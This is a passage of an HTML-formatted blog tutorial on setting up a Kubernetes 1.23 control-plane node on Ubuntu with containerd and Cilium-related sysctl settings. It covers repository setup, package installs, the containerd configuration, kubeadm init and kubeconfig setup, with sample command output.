style=\"color:#6CB6FF\"\u003e -a\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/sysctl.d/1000-cilium.conf\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThen we need to refresh sysctl so those settings are applied:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e systemctl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e restart\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e systemd-modules-load\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sysctl\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --system\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eYou should see it applying all the changes:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e* Applying /etc/sysctl.d/k8s.conf ...\nnet.bridge.bridge-nf-call-ip6tables = 1\nnet.bridge.bridge-nf-call-iptables = 1\nnet.ipv4.ip_forward = 1\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eIf you do not, the netfilter module may not have loaded properly:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e lsmod\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003egrep\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e br_netfilter\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ebr_netfilter\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 28672\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ebridge\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 176128\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e br_netfilter\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eYou want to make sure \u003ccode\u003erp_filter\u003c/code\u003e is \u003ccode\u003e0\u003c/code\u003e everywhere as well for cilium:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e❯ sudo sysctl -a | grep '\\.rp_filter'\nnet.ipv4.conf.all.rp_filter = 0\nnet.ipv4.conf.cilium_host.rp_filter = 0\nnet.ipv4.conf.cilium_net.rp_filter = 0\nnet.ipv4.conf.cilium_vxlan.rp_filter = 0\nnet.ipv4.conf.default.rp_filter = 0\nnet.ipv4.conf.enp0s1.rp_filter = 0\nnet.ipv4.conf.lo.rp_filter = 0\nnet.ipv4.conf.lxc0965b7b545f7.rp_filter = 0\nnet.ipv4.conf.lxcb05ffd84ab74.rp_filter = 0\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eNow let us pull down the container runtime we will be using which is containerd.\u003c/p\u003e\n\u003cp\u003eUbuntu ships with a very old version of containerd so you need to upgrade to\nthe version shipped from the docker repos:\nYou can find which versions are available by running:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e curl\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -fsSL\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e https://download.docker.com/linux/ubuntu/gpg\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e gpg\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --dearmor\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -o\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/apt/trusted.gpg.d/docker.gpg\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e echo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"deb https://download.docker.com/linux/ubuntu $(\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003elsb_release\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -cs\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e) stable\"\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e tee\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/apt/sources.list.d/docker.list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e apt-get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e update\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e apt-cache\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e madison\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e containerd.io\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003econtainerd.io\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e 1.6.8-1\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e https://download.docker.com/linux/ubuntu\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e jammy/stable\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e arm64\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Packages\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003econtainerd.io\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e 1.6.7-1\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e https://download.docker.com/linux/ubuntu\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e jammy/stable\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e arm64\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Packages\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003econtainerd.io\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e 1.6.6-1\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e https://download.docker.com/linux/ubuntu\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e jammy/stable\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e arm64\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Packages\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003econtainerd.io\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e 1.6.4-1\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e https://download.docker.com/linux/ubuntu\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e jammy/stable\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e arm64\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Packages\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003econtainerd.io\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e 1.5.11-1\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e https://download.docker.com/linux/ubuntu\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e jammy/stable\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e arm64\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Packages\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003econtainerd.io\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e 1.5.10-1\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e https://download.docker.com/linux/ubuntu\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e jammy/stable\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e arm64\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Packages\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eWe are going to use the latest version available which was 1.6.8-1\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e apt-get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e install\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e containerd.io=1.6.8-1\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -y\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThen we will setup a configuration that enables containerd to use the systemd\ncgroup. We are hard coding this config instead of using \u003ccode\u003econtainerd config default\u003c/code\u003e\nbecause that currently has had a \u003ca href=\"https://github.com/containerd/containerd/issues/4574\"\u003ebug\u003c/a\u003e\nfor many years that generates an invalid config.\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cat\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \u0026#x3C;\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eEOF\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e tee\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/containerd/config.toml\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003eversion = 2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e[plugins]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e [plugins.\"io.containerd.grpc.v1.cri\"]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e [plugins.\"io.containerd.grpc.v1.cri\".containerd]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e [plugins.\"io.containerd.grpc.v1.cri\".containerd.runtimes]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e [plugins.\"io.containerd.grpc.v1.cri\".containerd.runtimes.runc]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e runtime_type = \"io.containerd.runc.v2\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e [plugins.\"io.containerd.grpc.v1.cri\".containerd.runtimes.runc.options]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e SystemdCgroup = true\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003eEOF\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e systemctl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e restart\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e containerd.service\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eYou can verify it is running with ctr:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ctr\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --address\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /var/run/containerd/containerd.sock\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e containers\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eCONTAINER\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e IMAGE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e RUNTIME\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eNow that this is working we can move on to getting kubernetes installed!\u003c/p\u003e\n\u003ch2\u003eUsing kubeadm!\u003c/h2\u003e\n\u003cp\u003eNow we need to get the kubernetes tools installed onto the system. I am going to be using 1.23\nbut to find the latest version you can run:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e apt-cache\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e madison\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubeadm\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003ehead\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -n2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e kubeadm\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e 1.23.5-00\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e http://apt.kubernetes.io\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubernetes-xenial/main\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e amd64\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Packages\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e kubeadm\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e 1.23.4-00\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e http://apt.kubernetes.io\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubernetes-xenial/main\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e amd64\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Packages\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThen install the version you want, we install kubelet and kubeadm here to make\nsure the versions align:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e apt-get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e install\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubeadm=1.23.5-00\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubelet=1.23.5-00\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl=1.23.5-00\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -y\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThis will pull in a few tools, including an alternative to \u003ccode\u003ectr\u003c/code\u003e that we used earlier called\n\u003ccode\u003ecrictl\u003c/code\u003e. You can check that it is available to you doing this:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e crictl\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --runtime-endpoint=unix:///var/run/containerd/containerd.sock\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ps\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eWe can finally init our cluster:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubeadm\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e init\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eOnce that finishes running it should give you some tips setup your configuration, it should look like this:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e mkdir\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -p\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e $HOME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e/.kube\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cp\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -i\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/kubernetes/admin.conf\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e $HOME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e/.kube/config\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e chown\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e $(\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003eid\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -u\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e$(\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003eid\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -g\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e) $HOME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e/.kube/config\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eYou can run those on the master node for now, but later I will show you how to move\nthe config to your host computer.\u003c/p\u003e\n\u003cp\u003eNow you should be able to check that your node is not ready yet:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e nodes\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e STATUS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ROLES\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AGE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e VERSION\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003econtrolplane\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e NotReady\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e control-plane,master\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 4m16s\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e v1.23.5\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003e\u003cem\u003eNote\u003c/em\u003e: If you receive \"The connection to the server was refused\" error,\nThe cluster starting up and getting all the dependencies running could take\na bit of time. So if you are not able to communicate right away you can check\nwhich pods are up and running with \u003ccode\u003ecrictl\u003c/code\u003e. You will need \u003ccode\u003ekube-apiserver\u003c/code\u003e up\nand running. If it is not you can check:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e crictl\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --runtime-endpoint=unix:///var/run/containerd/containerd.sock\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ps\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -a\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eCONTAINER\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e IMAGE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e CREATED\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e STATE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e NAME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ATTEMPT\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e POD\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ID\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e POD\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e8322192c4605c\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e bd8cc6d582470\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 36\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e seconds\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ago\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Running\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 